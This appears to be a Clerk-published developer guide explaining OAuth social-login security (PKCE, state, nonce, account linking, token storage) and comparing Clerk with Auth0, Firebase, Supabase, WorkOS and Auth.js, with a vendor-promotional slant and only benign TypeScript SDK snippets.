## The OAuth Callback: Architecting a Secure Backend

When a user clicks "Sign in with Google," a carefully orchestrated exchange begins between your application, the user's browser, and the identity provider. Understanding this flow is essential for debugging issues and making informed security decisions.

### The Authorization Code Flow

1. **Authorization request** — Your app redirects the browser to the provider's `/authorize` endpoint with parameters: `client_id`, `redirect_uri`, `scope`, `state`, `nonce`, and `code_challenge` (PKCE)
2. **User authentication** — The provider authenticates the user and displays a consent screen
3. **Authorization code** — The provider redirects the browser back to your `redirect_uri` with a short-lived authorization code and the `state` parameter
4. **Token exchange** — Your backend sends the authorization code, `client_secret`, and `code_verifier` (PKCE) to the provider's `/token` endpoint
5. **Token response** — The provider returns an access token, ID token (OIDC), and optionally a refresh token
6. **Session creation** — Your application validates the **ID token** (verifying its signature and claims), extracts the user's identity, and creates a **separate application session** — typically an [HttpOnly](/glossary#httponly-cookies) session cookie or a JWT issued by your auth service. The provider's access and refresh tokens are stored server-side only if your app needs ongoing access to the provider's APIs. The application session credential, not the provider tokens, is what keeps the user logged in going forward

### Three Layers of Security

The Authorization Code flow uses three complementary mechanisms to prevent different attack vectors:

| Mechanism                                  | Prevents                                                  | How It Works                                                                                                                                                                          |
| ------------------------------------------ | --------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **State parameter**                        | [CSRF](/glossary#cross-site-request-forgery-csrf) attacks | A cryptographically random value generated before the redirect, validated on callback. Ensures the callback originated from your app's authorization request.                         |
| **[Nonce](/glossary#cryptographic-nonce)** | Token replay attacks                                      | A random value embedded in the ID token request, verified after token receipt. Ensures the ID token was issued for this specific authentication attempt.                              |
| **PKCE**                                   | Authorization code interception                           | A code verifier/challenge pair. The challenge is sent with the authorization request; the verifier is sent during token exchange. Only the original client can complete the exchange. |

### PKCE (Proof Key for Code Exchange)

PKCE ([RFC 7636](https://datatracker.ietf.org/doc/html/rfc7636)) was originally designed for mobile and public clients. The [OAuth 2.0 Security Best Current Practice (RFC 9700)](https://datatracker.ietf.org/doc/html/rfc9700) now **requires** PKCE for public clients (MUST) and **recommends** it for confidential (server-side) clients as well (RECOMMENDED), making it a best practice for all OAuth 2.0 deployments.

The mechanism is straightforward:

1. Generate a random `code_verifier` (43–128 characters)
2. Compute `code_challenge = BASE64URL(SHA256(code_verifier))`
3. Send `code_challenge` with the authorization request
4. Send `code_verifier` with the token exchange request
5. The provider verifies `SHA256(code_verifier) == code_challenge`

Even if an attacker intercepts the authorization code, they cannot exchange it without the `code_verifier`.

Clerk implements all three mechanisms — state, nonce, and PKCE — automatically for all social login flows. Clerk added [PKCE support for custom OAuth providers](/changelog/2025-11-12-pkce-support-custom-oauth) on November 12, 2025. Per OAuth 2.0 ([RFC 6749 Section 4.1.2](https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.2)), authorization codes "MUST expire shortly after" issuance, with a recommended maximum lifetime of 10 minutes.

### Redirect Flow vs. Popup Flow

**Always use the redirect flow for social login in web applications.** The popup flow has fundamental reliability and security problems that make it unsuitable for production use. Auth0's guidance on their Lock component states that "there are almost no reasons not to use redirect mode when writing a regular web application" ([Auth0 blog](https://auth0.com/blog/getting-started-with-lock-episode-3-redirect-vs-popup-mode/)).

| Concern                         | Redirect Flow                                        | Popup Flow                                                                                                             |
| ------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| Mobile browsers                 | Works on all mobile browsers                         | Blocked by default on most mobile browsers (iOS Safari, Android Chrome)                                                |
| Popup blockers                  | Not affected                                         | Blocked when any async operation (API call, analytics event, state setup) runs before `window.open()`                  |
| PWAs and WebViews               | Works natively                                       | Breaks in PWAs, Electron, React Native WebViews, and in-app browsers (Instagram, TikTok, Facebook)                     |
| Cross-origin communication      | Not needed — callback is a standard HTTP redirect    | Requires fragile `postMessage` between popup and opener window                                                         |
| Tab/window management           | Single tab throughout                                | Users may close the popup thinking it's an ad, or the opener tab may be garbage-collected by the browser               |
| Third-party cookie restrictions | Unaffected — uses first-party redirects              | May fail in Safari and Firefox with strict third-party cookie blocking, since the popup is a separate browsing context |
| Server-side token exchange      | Natural — the callback hits your server directly     | Requires the popup to relay the authorization code back to the opener, adding complexity and attack surface            |
| FedCM compatibility             | Coexists with FedCM (separate browser-mediated flow) | FedCM uses `navigator.credentials.get()`, a browser-mediated API — it is neither redirect-based nor popup-based        |

The popup approach introduces a class of bugs that are difficult to reproduce and diagnose: the flow silently fails when a popup blocker intervenes, leaving the user on the sign-in page with no error message. On mobile devices — which account for over half of web traffic — popup-based OAuth is effectively broken.

Clerk, Auth0, WorkOS, and Supabase all default to the redirect flow in their SDKs. Firebase Auth offers both `signInWithPopup()` and `signInWithRedirect()` — while neither is deprecated, `signInWithRedirect()` avoids the popup reliability issues described above and is the better choice for production applications.

### OAuth Data Flow (TypeScript Reference)

For developers implementing custom OAuth flows (without an auth service handling the details), these TypeScript interfaces illustrate the data exchanged at each step:

```typescript
// Step 1: Authorization Request
interface AuthorizationRequest {
  client_id: string
  redirect_uri: string
  response_type: 'code'
  scope: string // e.g., 'openid email profile'
  state: string // CSRF token (cryptographically random)
  nonce: string // Replay prevention
  code_challenge: string // PKCE: BASE64URL(SHA256(code_verifier))
  code_challenge_method: 'S256'
}
```

After the user authenticates, the provider redirects back with the authorization code:

```typescript
// Step 3: Authorization Response (query parameters on redirect)
interface AuthorizationResponse {
  code: string // Short-lived authorization code
  state: string // Must match the original state value
}
```

Your backend then exchanges the code for an access token, ID token, and optionally a refresh token:

```typescript
// Step 4: Token Exchange Request (server-side POST)
interface TokenRequest {
  grant_type: 'authorization_code'
  code: string // From the authorization response
  redirect_uri: string // Must match the original request
  client_id: string
  client_secret: string // Server-side only — never in browser code
  code_verifier: string // PKCE: original random string
}

// Step 5: Token Response
interface TokenResponse {
  access_token: string // For calling provider APIs
  id_token: string // OIDC: signed JWT with identity claims
  token_type: 'Bearer'
  expires_in: number // Access token lifetime in seconds
  refresh_token?: string // Optional, for long-lived access
  scope: string
}
```

When using Clerk, you don't implement these TypeScript interfaces directly, the SDK handles the entire flow. These types are useful for understanding what happens under the hood and for debugging.

In a custom implementation: extract the identity claims you need from the `id_token`, create or find the user in your database, and issue your own session credential (such as an HttpOnly session cookie). Only persist the `access_token` and `refresh_token` server-side if your application needs to call the provider's APIs on behalf of the user (e.g., reading GitHub repositories or Google Calendar events). Discard them otherwise.

### Redirect Handling Patterns

During the OAuth redirect, your application must persist certain values across the round trip:

- **State and nonce**: Store in a server session or a secure, short-lived cookie — not in `localStorage`, which is vulnerable to [XSS](/glossary#cross-site-scripting-xss)
- **PKCE code verifier**: `sessionStorage` is acceptable here because the verifier is a short-lived, single-use cryptographic challenge, not an access token or refresh token. It's cleared when the tab closes and is only used once during token exchange.
- **Return URL**: Preserve the user's intended destination (the page they were on before sign-in) by encoding it in the OAuth `state` parameter or storing it in the server session

## Managing User Profiles and Account Linking

Account linking is one of the most security-sensitive aspects of social login. When a user signs in with Google using `alice@example.com` and later returns with GitHub using the same email, your application must decide: is this the same person, or an attacker?

### The Duplicate Account Problem

Without account linking, users who sign in with different providers create separate accounts with fragmented data, duplicated billing, and confused access. With naive automatic linking (merging accounts based solely on email match), you open the door to account takeover attacks.

### Three Linking Patterns

1. **Automatic (email-based)** — The system merges accounts when the OAuth email matches an existing account's verified email. No user interaction required. Used by Clerk, Supabase, and WorkOS.
2. **Link-on-login (prompted)** — The system detects a matching email and asks the user to prove ownership of the existing account (enter password, complete [MFA](/glossary#multi-factor-authentication-mfa)) before linking. Used by Ory Kratos and Zitadel (Zitadel also supports automatic linking, configurable per identity provider).
3. **Manual (user-initiated)** — Users explicitly link accounts through profile settings while already authenticated. Used by Auth0 and Firebase.

### Pre-Hijacking Attacks

Researchers found that at least 35 of 75 popular services were vulnerable to pre-hijacking attacks (Sudhodanan & Paverd, [USENIX Security 2022](https://www.usenix.org/conference/usenixsecurity22/presentation/sudhodanan)). Andrew Paverd conducted this research at the Microsoft Security Response Center; Avinash Sudhodanan was an independent researcher at the time of publication. In these attacks, an adversary creates an account with a victim's email before the victim registers, then exploits automatic account linking to gain access when the victim eventually signs up via a social provider.

The critical defense — validated by this independent peer-reviewed research — is the `email_verified` claim in OIDC tokens. Automatic linking should only occur when **both** the existing account's email and the incoming OAuth email are verified by their respective providers.

### How Clerk Handles Account Linking

Clerk implements [automatic email-based linking](/docs/guides/configure/auth-strategies/social-connections/account-linking) with strict verification requirements:

- **Both emails verified**: The OAuth account is automatically linked to the existing account. The user is signed in seamlessly.
- **OAuth email unverified**: Clerk initiates email verification before linking, preventing pre-hijacking.
- **Existing account email unverified**: Clerk requires enhanced security steps, such as password change or additional validation, before allowing the link.
- **Different emails**: Users can manually link accounts through the [`<UserProfile />`](/docs/reference/components/user/user-profile) component by adding alternative email addresses. See the [account linking guide](/docs/guides/configure/auth-strategies/social-connections/account-linking) for full details on how Clerk manages linked social accounts.

Clerk audits all supported SSO providers for OIDC compliance and `email_verified` accuracy. Non-compliant providers that return non-standard claim names (such as `verified` instead of `email_verified`) are handled automatically (source: ["How We Roll — Chapter 4: Email Verification"](/blog/how-we-roll-email-verification) blog post).

### Handling Email-Absent and Private-Email Providers

Not all providers return an email address by default:

- **GitHub**: User email may be private. Request the `user:email` scope and call the `/user/emails` endpoint. If the user has no public email, you may receive `null` from the profile endpoint.
- **Apple**: Hide My Email generates unique `@privaterelay.appleid.com` addresses per app. These relay addresses won't match existing account emails, preventing automatic linking.

**Resolution**: Allow users to add and verify their real email address post-signup via profile settings. Store the provider's stable identifier (`sub` for OIDC providers, `id` for GitHub) as the primary key rather than relying solely on email.

### How Competitors Handle Account Linking

| Provider     | Linking Approach                                         | Developer Effort                                                                   |
| ------------ | -------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| **Clerk**    | Automatic with verified email                            | None — handled by SDK                                                              |
| **Auth0**    | Manual by default; requires custom Actions for automatic | High — but intentional: gives developers full control over linking security policy |
| **Firebase** | Throws `account-exists-with-different-credential` error  | High — catch error, prompt user, call `linkWithCredential()`                       |
| **Supabase** | Automatic with verified email                            | Low — similar to Clerk                                                             |
| **WorkOS**   | Automatic with verified email                            | None — handled by SDK                                                              |

### Account Recovery When a Provider Is Unavailable

If a user loses access to their social provider (e.g., a deactivated Google account), they need a way to regain access. Best practices:

- Always offer a fallback authentication method (email/password, email OTP, [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys), or email magic links)
- Allow users to link multiple social providers to their account so they have alternatives
- Clerk's [`<UserProfile />`](/docs/reference/components/user/user-profile) component lets users manage linked accounts and add new authentication methods from their profile settings

## Security Best Practices: Token Storage and Session Management

There are two distinct categories of tokens to consider after social login. **Provider tokens** — the access token, ID token, and optional refresh token issued by Google, GitHub, or other identity providers — are received during the OAuth token exchange and are typically handled entirely by your auth service's backend. You never see or store these directly. **Application session credentials** — session cookies, JWTs, or other tokens issued by your auth service — represent the user's authenticated session in your application and are what the browser stores and sends on each request. The storage recommendations in this section apply to application session credentials. If your application also needs provider tokens (e.g., to call the Google Calendar API on behalf of the user), those should be stored server-side and never exposed to the browser.

### Token Storage Comparison

The following table compares mechanisms for storing **application session credentials** — the tokens or cookies your auth service issues to maintain the user's logged-in state. Provider tokens (Google/GitHub access tokens and refresh tokens) should always be stored server-side by your auth service, not in the browser.

| Mechanism       | XSS Safe | CSRF Safe            | Persists | Recommended By   |
| --------------- | -------- | -------------------- | -------- | ---------------- |
| HttpOnly Cookie |          | Mitigated (SameSite) |          | OWASP, IETF      |
| localStorage    |          |                      |          | Not recommended  |
| sessionStorage  |          |                      |          | Not recommended  |
| IndexedDB       |          |                      |          | Not recommended  |
| In-Memory       |          |                      |          | Auth0 (for SPAs) |

The consensus from [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) and the [IETF Browser-Based Apps BCP](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) is clear: **HttpOnly cookies are the recommended mechanism for token storage in web applications.** The IETF BCP recommends that browser-based applications use a backend component (the BFF pattern) to keep tokens out of the browser entirely, and advises against storing tokens in `localStorage` or similar browser-accessible storage.

Any JavaScript running on your page can access `localStorage`, `sessionStorage`, and `IndexedDB`. A single XSS vulnerability means an attacker can exfiltrate tokens and use them from any device for their entire lifetime.

### The Backend for Frontend (BFF) Pattern

The [IETF Browser-Based Apps BCP](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) (currently an Internet-Draft, not yet an RFC) recommends the Backend for Frontend pattern as the preferred architecture for browser-based OAuth applications. Note: [RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700) ("OAuth 2.0 Security Best Current Practice") is a separate, finalized document covering general OAuth security; it does not specifically define the BFF pattern. In the BFF model:

1. The browser communicates with a backend component using secure, HttpOnly session cookies
2. The backend handles all OAuth token exchange as a confidential client
3. **Provider tokens** (access tokens, refresh tokens) are stored server-side — they never reach the browser
4. The backend proxies API requests to the provider, attaching the **provider's access token** before forwarding

Clerk, Auth0, and WorkOS all implement variants of this pattern, keeping provider tokens server-side. In Clerk's variant, the provider's OAuth tokens stay on Clerk's servers and are never sent to the browser, while Clerk issues its own purpose-built session cookies to the browser with short lifetimes and revocation support.

### Clerk's Hybrid Token Architecture

Clerk uses a dual-cookie system designed to combine the security of server-side sessions with the performance of stateless JWTs. This architecture is documented in detail in the [How Clerk Works](/docs/guides/how-clerk-works/overview) guide.

Neither of these cookies contains the OAuth provider's tokens. The Google (or GitHub, Apple, etc.) access token and refresh token are held on Clerk's servers and never sent to the browser. The `__client` and `__session` cookies described below are Clerk's own session credentials — entirely separate from the provider's OAuth tokens:

**`__client` cookie** — A long-lived, HttpOnly, SameSite=Lax cookie set on the Clerk FAPI (Frontend API) domain. This cookie handles session revocation and is the primary authentication state. Because it's HttpOnly, JavaScript cannot access it. In development mode, Clerk uses `__clerk_db_jwt` via querystring instead of cookies.

**`__session` cookie** — A short-lived JWT (60-second TTL) set on the application's root domain **by the client-side SDK** (not via `Set-Cookie` from the FAPI). This cookie carries the JWT claims your application reads for authorization decisions.

**Why is `__session` not HttpOnly?** The Clerk client SDK needs to set this cookie via JavaScript on the app domain. The security tradeoff is mitigated by:

- **60-second TTL**: Tokens expire before attackers can meaningfully exploit them
- **50-second refresh interval**: The SDK refreshes 10 seconds before expiry, ensuring a buffer for network latency
- **Stateful revocation**: Even if a `__session` token is stolen, revoking the `__client` session invalidates it on the next SDK renewal cycle

From the [How Clerk Works](/docs/guides/how-clerk-works/overview) documentation: "For an XSS attack to succeed, the developer would need to ship a vulnerability on their site, and the attacker would need to exfiltrate users' tokens and use them to take over accounts in an average of less than 30 seconds."

This architecture combines the best of both models — **stateful revocation** (via `__client`) for security, and **stateless JWT verification** (via `__session`) for performance. Your backend can verify the session JWT locally using cryptographic signature validation, with no network call to Clerk required on each request — enabling sub-millisecond auth checks at the edge or in serverless functions.

### How Competitors Store Session Credentials

Each auth service issues its own session credentials after completing the OAuth exchange with the identity provider. The provider's OAuth tokens (e.g., Google's access and refresh tokens) are consumed during this exchange and are typically not stored in the browser. Here is how each service stores its own credentials:

- **Auth0**: Defaults to in-memory storage (JavaScript closures) for Auth0-issued tokens (Auth0's own access and refresh tokens for your application — distinct from the Google/GitHub provider tokens, which Auth0 handles server-side). With [Rotating Refresh Tokens](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation) enabled, sessions restore silently after page refreshes. When `useRefreshTokens: true` is enabled with the default in-memory cache, the SDK uses a [Web Worker](https://auth0.com/docs/secure/security-guidance/data-security/token-storage) to isolate Auth0 refresh token operations from the main thread. Auth0 tokens themselves are not persisted in the browser, but the SDK re-obtains them automatically via refresh token exchange — so users stay logged in. Optional `localStorage` fallback stores tokens directly at the cost of XSS exposure.
- **Firebase Auth**: Uses IndexedDB to persist Firebase authentication state (Firebase ID tokens and Firebase refresh tokens — not the identity provider's OAuth tokens). IndexedDB has the same XSS vulnerability profile as `localStorage` — any JavaScript on the page can access stored tokens.
- **Supabase Auth**: Defaults to `localStorage` for Supabase-issued session tokens. The `@supabase/ssr` package provides cookie-based storage for server-rendered applications.
- **WorkOS**: Uses [encrypted session cookies](https://github.com/workos/authkit-session) (AES-256-CBC + SHA-256 HMAC via `iron-webcrypto`). WorkOS-issued access tokens have a [5-minute TTL](https://workos.com/blog/session-management-for-frontend-apps-with-authkit); WorkOS-issued refresh tokens expire after 7 days. Refresh token rotation is enforced.

### OWASP Recommendations

The key recommendations from OWASP for token storage in web applications:

- Do not store tokens in `localStorage` or `sessionStorage`
- Use `Secure`, `HttpOnly`, and `SameSite` cookie flags for authentication tokens
- Keep your application's session token lifetimes short — under 15 minutes is a widely adopted industry practice. [NIST SP 800-63B-4](https://pages.nist.gov/800-63-4/sp800-63b.html) specifies reauthentication limits that vary by assurance level: AAL2 SHOULD reauthenticate within 24 hours (with 1-hour inactivity timeout), while AAL3 SHALL reauthenticate within 12 hours (with 15-minute inactivity timeout)
- Implement application-level refresh token rotation with reuse detection
- Use a [Content Security Policy (CSP)](/glossary#content-security-policy-csp) as defense-in-depth against XSS

### Privacy and GDPR Considerations

Social login collects personal data — email addresses, names, profile pictures — that is subject to regulations like [GDPR](/glossary#data-privacy) and [CCPA](/glossary#california-consumer-privacy-act-ccpa).

**Data minimization**: Only request the OAuth scopes you need. For authentication, `openid email` is sufficient. Avoid requesting `profile` unless your application actually uses the user's name and photo.

**Explicit consent**: Users must understand what data is shared before clicking a social login button. The OAuth consent screen provided by each identity provider serves this purpose, but your privacy policy should also document what data you collect and why.

**How Clerk helps**: Clerk acts as the data processor, handling the OAuth token exchange server-side so user identity data (emails, names, profile photos) never touches your infrastructure directly. Clerk provides data export and deletion APIs for GDPR right-to-erasure requests, and the prebuilt `<SignIn />` component only requests the scopes you configure in the Dashboard.

## Comparing Social Login Providers

Choosing an authentication service affects your development velocity, security posture, pricing at scale, and the login experience your users see. This section compares six options across the dimensions that matter most for social login.

### Feature Comparison

| Feature              | Clerk                                                    | Auth0                             | Firebase Auth | Supabase Auth                                      | WorkOS                                           | Auth.js                                       |
| -------------------- | -------------------------------------------------------- | --------------------------------- | ------------- | -------------------------------------------------- | ------------------------------------------------ | --------------------------------------------- |
| Social Providers     | 28 built-in + any OIDC provider\*\*                      | 70+ (Marketplace)\*\*             | 7             | 20+                                                | 8 social + enterprise providers                  | 80+ (community)\*\*                           |
| Free Tier\*          | 50K MRU, 3 social                                        | 25K MAU, unlimited social         | 50K MAU       | 50K MAU                                            | 1M MAU                                           | Unlimited (self-hosted)                       |
| Prebuilt UI          | Embeddable components                                    | Hosted redirect (Universal Login) | FirebaseUI    | Archived (Feb 2024 maintenance, Oct 2025 archived) | Hosted redirect (AuthKit)                        | None                                          |
| Account Linking      | Automatic (verified email)                               | Manual (API/Actions)              | Manual (SDK)  | Automatic (verified email)                         | Automatic (verified email)                       | Opt-in per provider                           |
| Framework SDKs       | Next.js, React, React Router, Vue, Astro, TanStack, Expo | Any (redirect-based)              | Any (SDK)     | Any (SDK)                                          | Next.js, Remix, TanStack, Node, Python, Ruby, Go | Next.js, SvelteKit, Qwik, Express, SolidStart |
| Hosted / Self-hosted | Hosted                                                   | Hosted                            | Hosted        | Hosted (self-hostable)                             | Hosted                                           | Self-hosted                                   |

\* **MRU vs MAU:** Clerk uses Monthly Retained Users (MRU) — users who return during the billing period. Other providers use Monthly Active Users (MAU) — users who authenticate at least once during the calendar month. These metrics are not directly equivalent; MRU excludes one-time visitors who never return.

\*\* **Provider counts:** Auth0's 70+ and Auth.js's 80+ include Marketplace partner integrations and community-maintained adapters, respectively. Clerk's 28 built-in providers cover the most common social and developer identity platforms. Clerk's [custom OIDC](/docs/guides/configure/auth-strategies/social-connections/custom-provider) supports any OIDC-compliant provider without adapter code — configure the discovery endpoint and credentials in the Dashboard, with attribute mapping for non-standard claims. See [Any OIDC Provider, No Adapter Code](#any-oidc-provider-no-adapter-code) for a detailed comparison with competitor approaches.

### Time to First Social Login

The fastest way to evaluate an authentication platform is to measure how quickly you go from an empty project to a working social login button. This comparison targets a Next.js application with Google social login.

| Dimension                                | Clerk               | Auth0                        | Firebase Auth           | Supabase Auth       | Auth.js                    |
| ---------------------------------------- | ------------------- | ---------------------------- | ----------------------- | ------------------- | -------------------------- |
| **Account signup required**              |  (keyless mode)     |                              |  (Firebase project)     |  (Supabase project) |  (but need provider creds) |
| **OAuth app at provider required (dev)** |  (shared dev creds) | default Google/GitHub        |  (except Google toggle) |                     |                            |
| **Environment variables to configure**   | 0 (keyless)         | 5                            | 4                       | 3+                  | 3                          |
| **Files to create/modify**               | 2                   | 8–11                         | 3–4                     | 3–4                 | 3–4                        |
| **Prebuilt sign-in UI**                  |                     |                              |                         |                     |                            |
| **Provider console setup required**      | Not for dev         | Not for dev (Auth0 dev keys) | Google toggle only      | Full Google Console | Full Google Console        |

**Clerk** requires exactly two files: a `proxy.ts` middleware file and a modified `app/layout.tsx` that wraps the application in `<ClerkProvider>` and adds prebuilt `<SignInButton>` and `<UserButton>` components. In [keyless mode](/docs/nextjs/guides/ai/prompts#next-js-app-router), no account signup, no dashboard visit, and no `.env.local` file is needed to see a working sign-in flow. Shared development OAuth credentials for all 28+ built-in social providers mean Google, GitHub, Apple, and others work immediately without registering an OAuth app at each provider's console. To enable a specific social provider, the process is three clicks in the Clerk Dashboard — no code changes needed.

**Auth0** requires creating an Auth0 account, configuring an application in the dashboard (including callback URLs, logout URLs, and web origins), and building out 8–11 files including a client configuration, middleware, and custom login/logout/profile components. Five environment variables are needed, including an `AUTH0_SECRET` generated with `openssl rand -hex 32`. Auth0 does provide default Google and GitHub connections on new tenants, reducing initial OAuth app setup.

**Firebase Auth** requires creating a Firebase project, enabling Google Sign-In in the console, and implementing the sign-in flow across 3–4 files. Google Sign-In can be enabled with a single console toggle, but adding other providers requires creating OAuth apps at each provider's console. No prebuilt sign-in UI ships with the core SDK.

**Supabase Auth** requires creating a Supabase project, then creating OAuth credentials at each provider's console. For Google, this means navigating the Google Cloud Console to configure the OAuth consent screen, create an OAuth 2.0 Client ID, and set up authorized redirect URIs. The sign-in call itself is concise, but a callback route handler and custom UI must be built.

**Auth.js** has the most concise auth configuration code (\~6 lines), but the developer must still create an OAuth app at each provider's console, obtain credentials, and build all UI from scratch.

The fundamental DX difference is where each platform places the configuration burden. Clerk eliminates the two highest-friction steps: creating OAuth apps at provider consoles and building sign-in UI. Other platforms require at least one of these, and most require both.

### Auth0

Auth0 offers the widest selection of social providers (70+ in the [Auth0 Marketplace](https://marketplace.auth0.com/features/social-connections)) and an extensive marketplace of pre-built connections. Authentication happens through Universal Login, a hosted redirect-based page — embeddable components are not available. The [free tier](https://auth0.com/pricing) provides 25,000 MAU with unlimited social connections — increased from 7,500 MAU in September 2024, reflecting Auth0's ongoing investment in their free offering. Overage pricing on the B2C Essentials plan starts at $0.07/MAU.

```typescript
// Auth0 SPA SDK - trigger Google login
loginWithRedirect({ authorizationParams: { connection: 'google-oauth2' } })
```

Auth0's [in-memory token storage](https://auth0.com/docs/secure/security-guidance/data-security/token-storage) provides strong default security for SPAs. When refresh tokens are enabled (`useRefreshTokens: true`), the SDK adds Web Worker isolation for the refresh token operations.

Auth0's extensibility ecosystem is a significant differentiator. [Actions](https://auth0.com/docs/customize/actions/actions-overview) are serverless functions that execute on auth triggers (post-login, pre-registration, credential exchange, and more), with a drag-and-drop flow editor and a [Marketplace](https://marketplace.auth0.com/) of pre-built integrations. For applications requiring complex permission models beyond RBAC — document-level access, hierarchical permissions, or relationship-based authorization — Auth0 offers [Fine Grained Authorization (FGA)](https://docs.fga.dev/), an open-source system based on Google's Zanzibar paper (also available as the standalone [OpenFGA](https://openfga.dev/) project). Actions replaced the legacy Rules and Hooks systems, which became read-only in November 2024 and will stop executing in November 2026.

### Firebase Auth

Firebase Auth is tightly integrated with Google Cloud and provides 7 built-in social providers (Google, Apple, Facebook, GitHub, Microsoft, X/Twitter, and Yahoo). It uses IndexedDB for auth state persistence, which has the same XSS profile as `localStorage`. The prebuilt FirebaseUI library is functional but has limited modern framework support.

```typescript
// Firebase Auth - Google redirect sign-in
signInWithRedirect(auth, new GoogleAuthProvider())
```

Firebase offers both `signInWithPopup()` and `signInWithRedirect()` — neither is deprecated. However, `signInWithRedirect()` has [known issues on browsers that block third-party storage access](https://firebase.google.com/docs/auth/web/redirect-best-practices) (Chrome 115+, Safari 16.1+, Firefox 109+), requiring developers to update their `authDomain` configuration to match the application's serving domain. Firebase's own documentation lists `signInWithPopup()` as a workaround for these redirect issues — an ironic tension given that the redirect flow is generally more reliable across devices.

Account linking requires manual implementation — Firebase throws an error when a user attempts social login with an email that exists under a different provider.

### Supabase Auth

Supabase provides deep Postgres integration and is open-source and self-hostable. It supports 20+ social providers with automatic email-based account linking. The Auth UI component library entered [maintenance mode in February 2024 and was archived in October 2025](https://github.com/supabase-community/auth-ui), meaning new applications should build custom UIs. Per-MAU [pricing](https://supabase.com/pricing) is competitive at $0.00325/MAU beyond the 50K free tier.

Supabase's strongest value proposition is the integrated platform — auth is one piece of a full backend that includes a Postgres database, instant REST and GraphQL APIs, Edge Functions, Storage, and Realtime subscriptions, all under a single subscription and dashboard. [Row Level Security (RLS)](https://supabase.com/docs/guides/database/postgres/row-level-security) policies connect auth directly to data access at the database layer, eliminating an entire class of authorization bugs. The $25/mo Pro plan covers all of these services (with 100K MAU included), making Supabase Auth most cost-effective when adopted as part of the full Supabase platform rather than as a standalone auth service.

```typescript
// Supabase Auth - Google OAuth sign-in
supabase.auth.signInWithOAuth({ provider: 'google' })
```

One limitation: Supabase [does not manage refreshing the provider token](https://supabase.com/docs/guides/auth/social-login) after the initial sign-in — your application must handle provider token refresh separately.

### WorkOS

WorkOS offers the most generous [free tier](https://workos.com/pricing) for social login — 1 million MAU at no cost. However, its core strength is enterprise [SSO](/glossary#single-sign-on-sso), which is priced separately at [$125/month per connection](https://workos.com/pricing) (with volume discounts starting at 16 connections). Social login is a secondary feature with 8 social providers (Apple, GitHub, Google, LinkedIn, Microsoft, GitLab, Slack, and Facebook). In early 2025, WorkOS expanded its broader authentication coverage with enterprise-oriented providers like ADP, Bitbucket, Intuit, Rippling, and Xero — these are B2B/workforce providers rather than consumer social login options. AuthKit's UI is hosted and redirect-based.

```typescript
// WorkOS - generate authorization URL
const authorizationUrl = workos.userManagement.getAuthorizationUrl({
  provider: 'authkit',
  redirectUri: 'https://example.com/callback',
  clientId: process.env.WORKOS_CLIENT_ID!,
})
```

Laravel 12 starter kits offer WorkOS AuthKit as an official authentication option alongside Laravel's built-in auth. The `authkit-nextjs` SDK supports Next.js 16 `proxy.ts`.

### Auth.js

Auth.js (formerly NextAuth.js) supports the most providers — over 80 — through community-maintained adapters. It's fully open-source and self-hosted, meaning no per-user pricing, but full infrastructure management responsibility. There is no prebuilt UI; you build your own sign-in page.

```typescript
// Auth.js - configure providers
import NextAuth from 'next-auth'
import GitHub from 'next-auth/providers/github'
import Google from 'next-auth/providers/google'

export const { handlers, auth } = NextAuth({ providers: [GitHub, Google] })
```

Account linking is opt-in per provider using the `allowDangerousEmailAccountLinking` flag — the name itself signals that automatic linking carries security risks without proper verification.

### Emerging Alternatives

The auth landscape continues to evolve. [Better Auth](https://github.com/better-auth/better-auth) (\~25K GitHub stars) is a TypeScript-first, framework-agnostic auth library with built-in social login and a plugin system. [Stack Auth](https://github.com/stack-auth/stack) (YC S24, \~6.7K GitHub stars) offers an open-source alternative with dashboard UI and social providers. Both are newer projects — evaluate their maturity and community support before adopting for production.

### Choosing by Constraints

Different projects have different priorities. This table maps common constraints to the auth service best suited for each:

| Constraint                      | Best Choice         | Why                                       |
| ------------------------------- | ------------------- | ----------------------------------------- |
| Maximum free tier users         | WorkOS (1M MAU)     | 20x more than next closest                |
| Most built-in social providers  | Auth0 (75+)         | Largest marketplace                       |
| Any OIDC provider, no code      | Clerk (custom OIDC) | Dashboard config only, no adapters needed |
| Self-hosted / open source       | Auth.js or Supabase | Full control, no vendor lock-in           |
| Enterprise SSO + social login   | WorkOS              | SSO-first architecture                    |
| Embeddable UI across frameworks | Clerk               | Components for 10+ frameworks             |
| Lowest per-user cost at scale   | Auth.js (free)      | No per-user pricing                       |

### Vendor Lock-in and Data Portability

Switching auth providers is one of the most disruptive migrations an application can undergo — it touches every authenticated endpoint, session management, and often the user table schema. Understanding the lock-in profile of each service before committing is critical.

| Service       | Self-host option           | User data export                                              | SDK coupling                            | Migration difficulty                                                           |
| ------------- | -------------------------- | ------------------------------------------------------------- | --------------------------------------- | ------------------------------------------------------------------------------ |
| Clerk         | No (hosted only)           | Yes (Dashboard CSV export with hashed passwords, Backend API) | Framework-specific SDKs                 | Moderate — webhook sync means your DB has user data copies                     |
| Auth0         | Private cloud (Enterprise) | Yes (Management API, import/export)                           | Framework-specific SDKs + Actions logic | High — Actions, Rules, and tenant config are platform-specific                 |
| Firebase Auth | No (Google Cloud hosted)   | Yes (Admin SDK)                                               | Tightly coupled to Google ecosystem     | High — Firestore rules, Cloud Functions, and auth triggers are platform-locked |
| Supabase Auth | Yes (fully self-hostable)  | Yes (direct Postgres access)                                  | Lightweight client libraries            | Low — GoTrue is open-source, user data is in your Postgres database            |
| WorkOS        | No (hosted only)           | Yes (API)                                                     | Framework-specific SDKs                 | Moderate — SSO connections may require reconfiguration with new provider       |
| Auth.js       | N/A (it is self-hosted)    | Full control (your database)                                  | Library, not a service                  | Lowest — no vendor dependency, swap adapters                                   |

